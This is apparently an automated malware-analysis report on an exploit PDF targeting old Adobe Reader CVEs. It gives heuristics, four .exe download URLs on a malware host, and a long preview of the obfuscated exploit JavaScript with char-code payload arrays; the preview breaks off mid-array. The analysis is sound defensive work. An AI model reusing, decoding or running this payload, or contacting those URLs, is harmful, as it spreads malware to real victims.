PDF malware analysis — malicious · 4b5009013be95885

MALICIOUS

PDF

75.8 KB Created: 2009-11-12 19:41:04 Authoring application: PDF Library 4.7.3 (via PDF Library 1.6.3) First seen: 2012-07-12

MD5: 215501f0483bc18c2a27e5aab8e97a57 SHA-1: f6a7300f8537fe7f7695e78ca7659916aa7eca87 SHA-256: 4b5009013be95885c060e341d34d7d5195645466b91952e005a9e9706b874275

590 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript that exploits multiple known Adobe Acrobat vulnerabilities including CVE-2009-0927 (Collab.getIcon), CVE-2007-5659 (Collab.collectEmailInfo), and CVE-2008-2992 (util.printf). These exploits are designed to execute arbitrary code, and the presence of a deobfuscated JavaScript file suggests a secondary stage payload is likely being downloaded and executed. The ClamAV detection of Pdf.Exploit.Agent-36110 further confirms its malicious nature.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 13

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Exploit.Agent-36110 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-36110
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://mirroronerofive.com/sleep/ajmoqt2.exe Referenced by PDF JavaScript
- http://mirroronerofive.com/sleep/click.php?r=Referenced by PDF JavaScript
- http://mirroronerofive.com/sleep/dhpqw2.exeReferenced by PDF JavaScript
- http://mirroronerofive.com/sleep/afglux2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A5	38294 bytes
SHA-256: `6d8c5723908aab1e8d7278f45fbb0768ad5b5b085a9c47a1a7913a994b452732`
Detection ClamAV: No threats found Obfuscation or payload: likely 12 of 21 identifiers look randomly generated (e.g. 'fxrcoLmxCthtaLrSCLotdxeL') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script var adiux="adiux";vqkyzc='';himnps="himnps";dhlnpq='';biklq="";hprstx="";dklt='';dghkny="dghkny";emopt=24518;yihz="";jfyzto=true;var zwxvce="",abefny="",dfily=0,hmrsw=String,hqgzk=hmrsw['fxrcoLmxCthtaLrSCLotdxeL'.replace(/[LtcSx]/g,'')],acer=String,jmtu=acer['ecvRaqlc'.replace(/[cRsqW]/g,'')],ceopy="40",ruvw="",orpdz=[65,58,61,150,169,158,151,164,157,159,162,80,154,153,172,143,157,164,92,169,149,162,167,160,96,80,160,149,162,89,175,61,62,57,61,167,156,153,160,149,84,88,173,145,166,163,164,94,160,149,162,151,168,152,84,90,84,98,84,108,84,156,153,158,93,171,65,58,61,57,61,169,149,162,167,160,84,91,113,80,173,145,166,163,164,107,65,58,61,57,177,61,62,57,61,169,149,162,167,160,84,109,84,169,149,162,167,160,98,163,169,146,167,164,166,153,162,151,92,96,96,80,160,149,162,95,102,89,111,61,62,57,61,162,153,164,169,162,162,80,173,145,166,163,164,107,65,58,61,173,65,58,65,58,61,150,169,158,151,164,157,159,162,80,169,164,157,156,147,160,166,153,162,164,154,88,93,171,65,58,61,57,170,145,166,80,164,145,173,156,163,145,152,80,113,80,169,158,153,163,151,145,164,149,92,82,89,165,121,114,121,105,89,165,100,96,100,97,89,165,105,102,100,96,89,165,117,97,106,100,89,165,100,96,103,96,89,165,100,96,100,96,89,165,104,96,108,114,89,165,108,114,100,115,89,165,101,115,107,96,89,165,108,114,117,116,89,165,100,104,104,96,89,165,119,99,105,117,89,165,108,114,105,101,89,165,108,114,121,115,89,165,100,104,104,101,89,165,103,99,105,98,89,165,119,97,120,98,89,165,100,99,119,98,89,165,101,96,103,98,89,165,108,96,104,96,89,165,100,96,103,104,89,165,122,101,107,101,89,165,119,98,108,114,89,165,105,116,105,113,89,165,100,100,119,98,89,165,105,101,100,96,89,165,121,115,108,114,89,165,105,97,105,97,89,165,105,102,105,99,89,165,106,96,105,103,89,165,105,116,108,114,89,165,103,99,100,104,89,165,108,114,119,96,89,165,100,115,107,101,89,165,122,117,108,114,89,165,107,102,100,99,89,165,108,114,103,115,89,165,107,104,104,117,89,165,119,118,100,99,89,165,105,97,108,114,89,165,105,98,101,115,89,165,105,97,108,114,89,165,105,98,102,100,89,165,107,97,108,114,89,165,104,117,101,100,89,165,107,101,108,105,89,165,108,114,122,115,89,165,102,96,107,97,89,165,122,103,100,99,89,165,104,113,109,105,89,165,104,98,117,116,89,165,103,114,106,96,89,165,122,115,105,101,89,165,100,100,107,101,89,165,119,96,103,99,89,165,103,103,121,114,89,165,122,118,103,99,89,165,104,101,100,99,89,165,109,103,100,115,89,165,119,118,108,114,89,165,107,101,117,117,89,165,102,114,122,116,89,165,104,118,122,105,89,165,121,104,105,97,89,165,122,118,109,100,89,165,122,118,122,118,89,165,119,99,103,114,89,165,107,100,106,97,89,165,121,114,100,98,89,165,108,114,120,105,89,165,100,115,104,101,89,165,105,117,109,98,89,165,122,98,100,99,89,165,121,96,120,97,89,165,119,102,100,99,89,165,119,105,103,99,89,165,118,103,100,118,89,165,105,118,100,104,89,165,121,97,119,97,89,165,100,99,100,98,89,165,100,99,119,113,89,165,108,114,119,118,89,165,100,99,100,97,89,165,108,105,119,98,89,165,122,104,104,101,89,165,108,114,106,97,89,165,122,104,104,101,89,165,105,117,105,118,89,165,119,105,105,114,89,165,105,101,119,99,89,165,121,115,108,114,89,165,121,104,105,97,89,165,122,118,104,105,89,165,122,118,122,118,89,165,106,104,105,96,89,165,106,96,121,104,89,165,100,100,118,118,89,165,106,115,121,104,89,165,122,118,122,118,89,165,103,99,122,118,89,165,105,98,120,98,89,165,122,118,105,98,89,165,100,104,107,101,89,165,120,96,122,118,89,165,104,101,108,105,89,165,108,114,122,115,89,165,122,115,104,101,89,165,119,99,119,105,89,165,108,114,105,101,89,165,108,99,121,115,89,165,100,115,121,115,89,165,104,101,108,116,89,165,105,96,122,100,89,165,104,101,119,102,89,165,107,101,122,100,89,165,104,101,119,102,89,165,107,98,122,101,89,165,104,101,119,102,89,165,106,115,122,102,89,165,104,101,119,102,89,165,106,116,122,103,89,165,104,101,119,102,89,165,106,118,122,104,89,165,104,101,119,102,89,165,106,117,122,105,89,165,104,101,119,102,89,165,102,117,122,113,89,165,104,101,119,102,89,165,106,100,122,114,89,165,104,101,119,102,89,165,106,115,122,115,89,165,104,101,119,102,89,165,106,115,122,116,89,165,104,101,119,102,89,165,100,96,122,117,89,165,117,96,121,104,89,165,122,118,122,118,89,165,105,96,122,118,89,165,105,116,106,104,89,165,101,97,108,113,89,165,121,104,101,102,89,165,122,118,101,101,89,165,122,118,122,118,89,165,119,100,108,99,89,165,108,101,100,115,89,165,107,100,119,96,89,165,106,113,101,101,89,165,106,113,100,96,89,165,122,118,100,96,89,165,100,115,107,101,89,165,107,101,122,118,89,165,106,113,100,104,89,165,122,118,100,96,89,165,108,101,120,96,89,165,107,101,119,96,89,165,104,96,100,99,89,165,119,99,119,105,89,165,119,96,103,99,89,165,119,99,119,105,89,165,103,99,105,103,89,165,108,114,119,96,89,165,102,100,104,115,89,165,108,114,100,115,89,165,102,100,107,115,89,165,122,115,100,104,89,165,117,113,122,99,89,165,119,99,105,118,89,165,104,115,108,114,89,165,100,100,102,100,89,165,103,105,108,96,89,165,108,114,100,96,89,165,107,100,119,97,89,165,104,96,100,102,89,165,103,104,108,96,89,165,107,101,100,96,89,165,102,114,122,113,89,165,119,99,119,97,89,165,108,114,105,101,89,165,108,99,121,115,89,165,106,100,121,115,89,165,108,116,105,99,89,165,122,96,104,101,89,165,103,99,105,103,89,165,105,96,120,114,89,165,104,101,119,102,89,165,106,114,122,96,89,165,104,101,119,102,89,165,106,101,122,97,89,165,104,101,119,102,89,165,107,98,122,98,89,165,104,101,119,102,89,165,106,117,122,99,89,165,104,101,119,102,89,165,106,101,122,100,89,165,104,101,119,102,89,165,106,115,122,101,89,165,104,101,119,102,89,165,103,99,122,102,89,165,104,101,119,102,89,165,103,98,122,103,89,165,104,101,119,102,89,165,102,117,122,104,89,165,104,101,119,102,89,165,106,100,122,105,89,165,104,101,119,102,89,165,106,115,122,113,89,165,104,101,119,102,89,165,106,115,122,114,89,165,105,116,108,104,89,165,121,104,122,115,89,165,122,118,100,114,89,165,122,118,122,118,89,165,106,104,105,96,89,165,104,99,106,104,89,165,108,117,122,105,89,165,108,96,121,104,89,165,122,118,122,117,89,165,108,114,122,118,89,165,108,116,122,104,89,165,109,115,104,101,89,165,104,100,106,113,89,165,121,104,105,96,89,165,122,118,107,117,89,165,122,118,122,118,89,165,104,101,108,116,89,165,106,113,121,96,89,165,105,96,101,96,89,165,107,99,121,104,89,165,122,118,122,118,89,165,108,99,122,118,89,165,101,115,119,100,89,165,104,101,108,116,89,165,105,96,121,96,89,165,104,101,108,116,89,165,105,96,109,115,89,165,105,99,105,99,89,165,105,99,105,99,89,165,105,99,105,99,89,165,107,101,122,118,89,165,119,103,100,104,89,165,109,115,104,101,89,165,100,96,104,100,89,165,100,96,100,96,89,165,122,118,105,99,89,165,105,118,120,103,89,165,118,102,100,118,89,165,105,114,119,96,89,165,119,99,119,105,89,165,108,114,105,101,89,165,105,97,121,115,89,165,105,99,105,97,89,165,105,103,105,102,89,165,104,98,106,113,89,165,107,98,121,104,89,165,100,96,100,96,89,165,108,114,100,96,89,165,103,99,120,104,89,165,108,101,122,102,89,165,105,105,120,114,89,165,104,101,119,103,89,165,106,97,122,104,89,165,106,101,102,117,89,165,119,103,107,104,89,165,122,115,104,101,89,165,100,96,106,101,89,165,100,96,100,96,89,165,105,102,107,117,89,165,104,101,108,116,89,165,105,96,122,104,89,165,121,104,105,102,89,165,100,96,105,97,89,165,100,96,100,96,89,165,105,96,105,105,89,165,118,97,121,104,89,165,122,118,122,117,89,165,108,101,122,118,89,165,105,105,119,96,89,165,107,100,105,105,89,165,108,116,103,105,89,165,100,97,104,102,89,165,121,104,105,96,89,165,100,96,103,114,89,165,100,96,100,96,89,165,122,104,108,114,89,165,104,101,108,116,89,165,105,96,122,104,89,165,102,97,121,104,89,165,122,118,122,118,89,165,108,101,122,118,89,165,105,105,119,96,89,165,107,100,105,105,89,165,105,103,100,115,89,165,100,97,121,104,89,165,122,118,122,118,89,165,105,105,122,118,89,165,104,100,119,102,89,165,122,118,103,104,89,165,105,96,107,99,89,165,104,101,108,116,89,165,122,117,122,104,89,165,105,104,100,96,89,165,104,101,108,116,89,165,105,96,122,104,89,165,121,104,105,103,89,165,122,117,107,100,89,165,122,118,122,118,89,165,105,105,105,105,89,165,104,102,104,102,89,165,122,99,103,114,89,165,117,113,107,115,89,165,105,117,105,118,89,165,119,105,105,114,89,165,105,101,119,99,89,165,121,115,108,114,89,165,105,99,105,97,89,165,106,96,106,102,89,165,103,98,118,97,89,165,100,96,121,104,89,165,100,96,100,96,89,165,105,104,100,96,89,165,100,104,103,104,89,165,100,99,107,100,89,165,121,114,104,96,89,165,104,96,122,105,89,165,105,116,108,114,89,165,108,96,100,104,89,165,104,98,122,114,89,165,100,104,107,101,89,165,120,114,103,99,89,165,101,104,108,113,89,165,119,99,108,114,89,165,101,103,121,114,89,165,101,104,103,104,89,165,101,97,107,102,89,165,103,99,104,96,89,165,108,100,119,105,89,165,107,100,120,114,89,165,104,96,100,115,89,165,100,104,103,104,89,165,122,114,107,101,89,165,122,117,104,96,89,165,121,114,119,114,89,165,103,99,122,98,89,165,108,105,119,96,89,165,122,115,104,101,89,165,104,101,108,114,89,165,105,114,122,115,89,165,119,99,119,105,89,165,100,98,103,98,89,165,107,100,106,104,89,165,107,96,107,100,89,165,102,118,103,113,89,165,106,116,102,118,89,165,107,98,106,105,89,165,106,118,107,98,89,165,106,118,107,98,89,165,106,101,106,117,89,165,106,118,107,98,89,165,106,105,106,102,89,165,106,101,107,102,89,165,106,99,102,117,89,165,106,116,106,118,89,165,107,99,102,118,89,165,106,101,106,115,89,165,107,96,106,101,89,165,106,97,102,118,89,165,106,116,106,113,89,165,107,97,106,118,89,165,103,98,107,100,89,165,106,101,102,117,89,165,106,101,107,104,89,165,106,104,100,96,89,165,107,100,107,100,89,165,103,113,107,96,89,165,102,118,102,118,89,165,106,105,106,116,89,165,107,98,107,98,89,165,107,98,106,118,89,165,106,117,106,118,89,165,107,98,106,101,89,165,106,102,106,118,89,165,107,102,106,105,89,165,102,117,106,101,89,165,106,118,106,99,89,165,102,118,106,116,89,165,106,115,107,99,89,165,106,101,106,101,89,165,102,118,107,96,89,165,106,115,106,99,89,165,106,99,106,105,89,165,102,117,106,114,89,165,106,104,107,96,89,165,103,118,107,96,89,165,103,116,107,98,89,165,100,96,100,96,86,89,111,61,62,57,61,166,149,162,84,158,163,160,84,109,84,165,162,149,167,147,149,160,153,88,86,85,169,96,117,96,117,85,169,96,117,96,117,85,169,96,117,96,117,85,169,96,117,96,117,82,93,61,62,57,61,166,149,162,84,152,153,145,164,146,160,159,151,155,84,109,84,158,163,160,84,91,84,160,149,169,160,159,149,148,111,61,62,57,61,166,149,162,84,146,157,151,150,156,163,147,159,80,113,80,169,158,153,163,151,145,164,149,92,82,89,165,100,113,100,113,89,165,100,113,100,113,86,89,111,61,62,57,61,166,149,162,84,152,153,145,152,149,166,163,157,170,153,80,113,80,102,96,111,61,62,57,61,166,149,162,84,163,164,162,149,169,84,109,84,152,153,145,152,149,166,163,157,170,153,80,95,80,156,149,149,160,150,156,163,147,159,94,160,149,162,151,168,152,111,61,62,57,61,167,156,153,160,149,84,88,150,153,155,146,160,159,151,155,98,156,153,158,155,164,156,80,112,80,167,160,166,145,173,89,175,61,62,57,61,57,150,153,155,146,160,159,151,155,84,91,113,80,150,153,155,146,160,159,151,155,111,61,62,57,61,173,65,58,61,57,170,145,166,80,154,153,160,156,150,156,163,147,159,80,113,80,150,153,155,146,160,159,151,155,98,163,169,146,167,164,166,153,162,151,92,96,96,80,167,160,166,145,173,89,111,61,62,57,61,166,149,162,84,146,160,159,151,155,84,109,84,146,157,151,150,156,163,147,159,94,167,165,150,163,168,162,157,158,155,88,100,92,84,146,157,151,150,156,163,147,159,94,160,149,162,151,168,152,97,163,164,162,149,169,93,107,65,58,61,57,171,152,157,156,153,80,92,146,160,159,151,155,98,156,153,158,155,164,156,91,167,160,166,145,173,80,112,80,100,168,104,96,100,96,100,89,175,61,62,57,61,57,150,156,163,147,159,80,113,80,150,156,163,147,159,80,95,80,150,156,163,147,159,80,95,80,154,153,160,156,150,156,163,147,159,107,65,58,61,57,177,61,62,57,61,166,149,162,84,157,153,157,147,145,166,162,149,169,84,109,84,158,153,167,84,113,166,162,149,169,92,89,111,61,62,57,61,150,163,162,84,88,170,145,166,80,157,80,113,80,100,107,84,153,84,108,84,97,104,96,100,107,84,153,95,91,93,171,65,58,61,57,61,157,153,157,147,145,166,162,149,169,143,153,145,80,113,80,150,156,163,147,159,80,95,80,156,149,149,160,150,156,163,147,159,107,65,58,61,57,177,61,62,57,61,166,149,162,84,158,169,157,84,109,84,97,102,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,104,108,107,65,58,61,57,169,164,157,156,98,160,166,153,162,164,154,88,86,85,104,101,100,96,100,150,86,92,84,158,169,157,93,107,65,58,61,173,65,58,65,58,61,150,169,158,151,164,157,159,162,80,151,159,160,156,149,146,147,149,161,145,157,156,92,89,175,61,62,57,61,166,149,162,84,163,156,149,160,156,151,159,152,149,84,109,84,165,162,149,167,147,149,160,153,88,86,85,169,117,118,117,109,85,169,96,100,96,101,85,169,101,106,96,100,85,169,113,101,102,104,85,169,96,100,99,100,85,169,96,100,96,100,85,169,100,100,104,118,85,169,104,118,96,119,85,169,97,119,103,100,85,169,104,118,113,120,85,169,96,108,100,100,85,169,115,103,101,121,85,169,104,118,101,105,85,169,104,118,117,119,85,169,96,108,100,105,85,169,99,103,101,102,85,169,115,101,116,102,85,169,96,103,115,102,85,169,97,100,99,102,85,169,104,100,100,100,85,169,96,100,99,108,85,169,118,105,103,105,85,169,115,102,104,118,85,169,101,120,101,117,85,169,96,104,115,102,85,169,101,105,96,100,85,169,117,119,104,118,85,169,101,101,101,101,85,169,101,106,101,103,85,169,102,100,101,107,85,169,101,120,104,118,85,169,99,103,96,108,85,169,104,118,115,100,85,169,96,119,103,105,85,169,118,121,104,118,85,169,103,106,96,103,85,169,104,118,99,119,85,169,103,108,100,121,85,169,115,122,96,103,85,169,101,101,104,118,85,169,101,102,97,119,85,169,101,101,104,118,85,169,101,102,98,104,85,169,103,101,104,118,85,169,100,121,97,104,85,169,103,105,104,109,85,169,104,118,118,119,85,169,98,100,103,101,85,169,118,107,96,103,85,169,100,117,105,109,85,169,100,102,113,120,85,169,99,118,102,100,85,169,118,119,101,105,85,169,96,104,103,105,85,169,115,100,99,103,85,169,99,107,117,118,85,169,118,122,99,103,85,169,100,105,96,103,85,169,105,107,96,119,85,169,115,122,104,118,85,169,103,105,113,121,85,169,98,118,118,120,85,169,100,122,118,109,85,169,117,108,101,101,85,169,118,122,105,104,85,169,118,122,118,122,85,169,115,103,99,118,85,169,103,104,102,101,85,169,117,118,96,102,85,169,104,118,116,109,85,169,96,119,100,105,85,169,101,121,105,102,85,169,118,102,96,103,85,169,117,100,116,101,85,169,115,106,96,103,85,169,115,109,99,103,85,169,114,107,96,122,85,169,101,122,96,108,85,169,117,101,115,101,85,169,96,103,96,102,85,169,96,103,115,117,85,169,104,118,115,122,85,169,96,103,96,101,85,169,104,109,115,102,85,169,118,108,100,105,85,169,104,118,102,101,85,169,118,108,100,105,85,169,101,121,101,122,85,169,115,109,101,118,85,169,101,105,115,103,85,169,117,119,104,118,85,169,117,108,101,101,85,169,118,122,100,109,85,169,118,122,118,122,85,169,102,108,101,100,85,169,102,100,117,108,85,169,96,104,114,122,85,169,102,119,117,108,85,169,118,122,118,122,85,169,99,103,118,122,85,169,101,102,116,102,85,169,118,122,101,102,85,169,96,108,103,105,85,169,116,100,118,122,85,169,100,105,104,109,85,169,104,118,118,119,85,169,118,119,100,105,85,169,115,103,115,109,85,169,104,118,101,105,85,169,104,103,117,119,85,169,96,119,117,119,85,169,100,105,104,120,85,169,101,100,118,104,85,169,100,105,115,106,85,169,103,105,118,104,85,169,100,105,115,106,85,169,103,102,118,105,85,169,100,105,115,106,85,169,102,119,118,106,85,169,100,105,115,106,85,169,102,120,118,107,85,169,100,105,115,106,85,169,102,122,118,108,85,169,100,105,115,106,85,169,102,121,118,109,85,169,100,105,115,106,85,169,98,121,118,117,85,169,100,105,115,106,85,169,102,104,118,118,85,169,100,105,115,106,85,169,102,119,118,119,85,169,100,105,115,106,85,169,102,119,118,120,85,169,100,105,115,106,85,169,96,100,118,121,85,169,113,100,117,108,85,169,118,122,118,122,85,169,101,100,118,122,85,169,101,120,102,108,85,169,97,101,104,117,85,169,117,108,97,106,85,169,118,122,97,105,85,169,118,122,118,122,85,169,115,104,104,103,85,169,104,105,96,119,85,169,103,104,115,100,85,169,102,117,97,105,85,169,102,117,96,100,85,169,118,122,96,100,85,169,96,119,103,105,85,169,103,105,118,122,85,169,102,117,96,108,85,169,118,122,96,100,85,169,104,105,116,100,85,169,103,105,115,100,85,169,100,100,96,103,85,169,115,103,115,109,85,169,115,100,99,103,85,169,115,103,115,109,85,169,99,103,101,107,85,169,104,118,115,100,85,169,98,104,100,119,85,169,104,118,96,119,85,169,98,104,103,119,85,169,118,119,96,108,85,169,113,117,118,103,85,169,115,103,101,122,85,169,100,119,104,118,85,169,96,104,98,104,85,169,99,109,104,100,85,169,104,118,96,100,85,169,103,104,115,101,85,169,100,100,96,106,85,169,99,108,104,100,85,169,103,105,96,100,85,169,98,118,118,117,85,169,115,103,115,101,85,169,104,118,101,105,85,169,104,103,117,119,85,169,102,104,117,119,85,169,104,120,101,103,85,169,118,100,100,105,85,169,99,103,101,107,85,169,101,100,116,118,85,169,100,105,115,106,85,169,102,118,118,100,85,169,100,105,115,106,85,169,102,105,118,101,85,169,100,105,115,106,85,169,103,102,118,102,85,169,100,105,115,106,85,169,102,121,118,103,85,169,100,105,115,106,85,169,102,105,118,104,85,169,100,105,115,106,85,169,102,119,118,105,85,169,100,105,115,106,85,169,99,103,118,106,85,169,100,105,115,106,85,169,99,102,118,107,85,169,100,105,115,106,85,169,98,121,118,108,85,169,100,105,115,106,85,169,102,104,118,109,85,169,100,105,115,106,85,169,102,119,118,117,85,169,100,105,115,106,85,169,102,119,118,118,85,169,101,120,104,108,85,169,117,108,118,119,85,169,118,122,96,118,85,169,118,122,118,122,85,169,102,108,101,100,85,169,100,103,102,108,85,169,104,121,118,109,85,169,104,100,117,108,85,169,118,122,118,121,85,169,104,118,118,122,85,169,104,120,118,108,85,169,105,119,100,105,85,169,100,104,102,117,85,169,117,108,101,100,85,169,118,122,103,121,85,169,118,122,118,122,85,169,100,105,104,120,85,169,102,117,117,100,85,169,101,100,97,100,85,169,103,103,117,108,85,169,118,122,118,122,85,169,104,103,118,122,85,169,97,119,115,104,85,169,100,105,104,120,85,169,101,100,117,100,85,169,100,105,104,120,85,169,101,100,105,119,85,169,101,103,101,103,85,169,101,103,101,103,85,169,101,103,101,103,85,169,103,105,118,122,85,169,115,107,96,108,85,169,105,119,100,105,85,169,96,100,100,104,85,169,96,100,96,100,85,169,118,122,101,103,85,169,101,122,116,107,85,169,114,106,96,122,85,169,101,118,115,100,85,169,115,103,115,109,85,169,104,118,101,105,85,169,101,101,117,119,85,169,101,103,101,101,85,169,101,107,101,106,85,169,100,102,102,117,85,169,103,102,117,108,85,169,96,100,96,100,85,169,104,118,96,100,85,169,99,103,116,108,85,169,104,105,118,106,85,169,101,109,116,118,85,169,100,105,115,107,85,169,102,101,118,108,85,169,102,105,98,121,85,169,115,107,103,108,85,169,118,119,100,105,85,169,96,100,102,105,85,169,96,100,96,100,85,169,101,106,103,121,85,169,100,105,104,120,85,169,101,100,118,108,85,169,117,108,101,106,85,169,96,100,101,101,85,169,96,100,96,100,85,169,101,100,101,109,85,169,114,101,117,108,85,169,118,122,118,121,85,169,104,105,118,122,85,169,101,109,115,100,85,169,103,104,101,109,85,169,104,120,99,109,85,169,96,101,100,106,85,169,117,108,101,100,85,169,96,100,99,118,85,169,96,100,96,100,85,169,118,108,104,118,85,169,100,105,104,120,85,169,101,100,118,108,85,169,98,101,117,108,85,169,118,122,118,122,85,169,104,105,118,122,85,169,101,109,115,100,85,169,103,104,101,109,85,169,101,107,96,119,85,169,96,101,117,108,85,169,118,122,118,122,85,169,101,109,118,122,85,169,100,104,115,106,85,169,118,122,99,108,85,169,101,100,103,103,85,169,100,105,104,120,85,169,118,121,118,108,85,169,101,108,96,100,85,169,100,105,104,120,85,169,101,100,118,108,85,169,117,108,101,107,85,169,118,121,103,104,85,169,118,122,118,122,85,169,101,109,101,109,85,169,100,106,100,106,85,169,118,103,99,118,85,169,113,117,103,119,85,169,101,121,101,122,85,169,115,109,101,118,85,169,101,105,115,103,85,169,117,119,104,118,85,169,101,103,101,101,85,169,102,100,102,106,85,169,99,102,114,101,85,169,96,100,117,108,85,169,96,100,96,100,85,169,101,108,96,100,85,169,96,108,99,108,85,169,96,103,103,104,85,169,117,118,100,100,85,169,100,100,118,109,85,169,101,120,104,118,85,169,104,100,96,108,85,169,100,102,118,118,85,169,96,108,103,105,85,169,116,118,99,103,85,169,97,108,104,117,85,169,115,103,104,118,85,169,97,107,117,118,85,169,97,108,99,108,85,169,97,101,103,106,85,169,99,103,100,100,85,169,104,104,115,109,85,169,103,104,116,118,85,169,100,100,96,119,85,169,96,108,99,108,85,169,118,118,103,105,85,169,118,121,100,100,85,169,117,118,115,118,85,169,99,103,118,102,85,169,104,109,115,100,85,169,118,119,100,105,85,169,100,105,104,118,85,169,101,118,118,119,85,169,115,103,115,109,85,169,96,102,99,102,85,169,103,104,102,108,85,169,103,100,103,104,85,169,98,122,99,117,85,169,102,120,98,122,85,169,103,102,102,109,85,169,102,122,103,102,85,169,102,122,103,102,85,169,102,105,102,121,85,169,102,122,103,102,85,169,102,109,102,106,85,169,102,105,103,106,85,169,102,103,98,121,85,169,102,120,102,122,85,169,103,103,98,122,85,169,102,105,102,119,85,169,103,100,102,105,85,169,102,104,98,122,85,169,103,100,102,108,85,169,103,107,103,101,85,169,98,121,99,102,85,169,103,108,102,105,85,169,96,100,102,105,85,169,103,104,102,108,85,169,103,100,103,104,85,169,98,122,99,117,85,169,102,120,98,122,85,169,103,102,102,109,85,169,102,122,103,102,85,169,102,122,103,102,85,169,102,105,102,121,85,169,102,122,103,102,85,169,102,109,102,106,85,169,102,105,103,106,85,169,102,103,98,121,85,169,102,120,102,122,85,169,103,103,98,122,85,169,102,105,102,119,85,169,103,100,102,105,85,169,102,103,98,122,85,169,102,109,102,119,85,169,102,118,102,103,85,169,103,100,98,121,85,169,103,100,102,108,85,169,103,102,99,122,85,169,96,100,99,120,82,93,107,65,58,61,57,170,145,166,80,161,149,161,143,149,162,166,145,173,80,113,80,162,149,171,80,117,162,166,145,173,88,93,107,65,58,61,57,170,145,166,80,151,147,84,109,84,96,172,96,151,96,151,96,151,96,151,107,65,58,61,57,170,145,166,80,149,148,152,162,84,109,84,96,172,100,100,96,100,96,100,107,65,58,61,57,170,145,166,80,167,147,147,156,153,158,84,109,84,163,156,149,160,156,151,159,152,149,98,156,153,158,155,164,156,80,94,80,102,107,65,58,61,57,170,145,166,80,160,149,162,80,113,80,149,148,152,162,84,93,84,88,167,147,147,156,153,158,95,96,172,99,108,89,111,61,62,57,61,166,149,162,84,169,149,162,167,160,84,109,84,165,162,149,167,147,149,160,153,88,86,85,169,105,100,105,100,85,169,105,100,105,100,8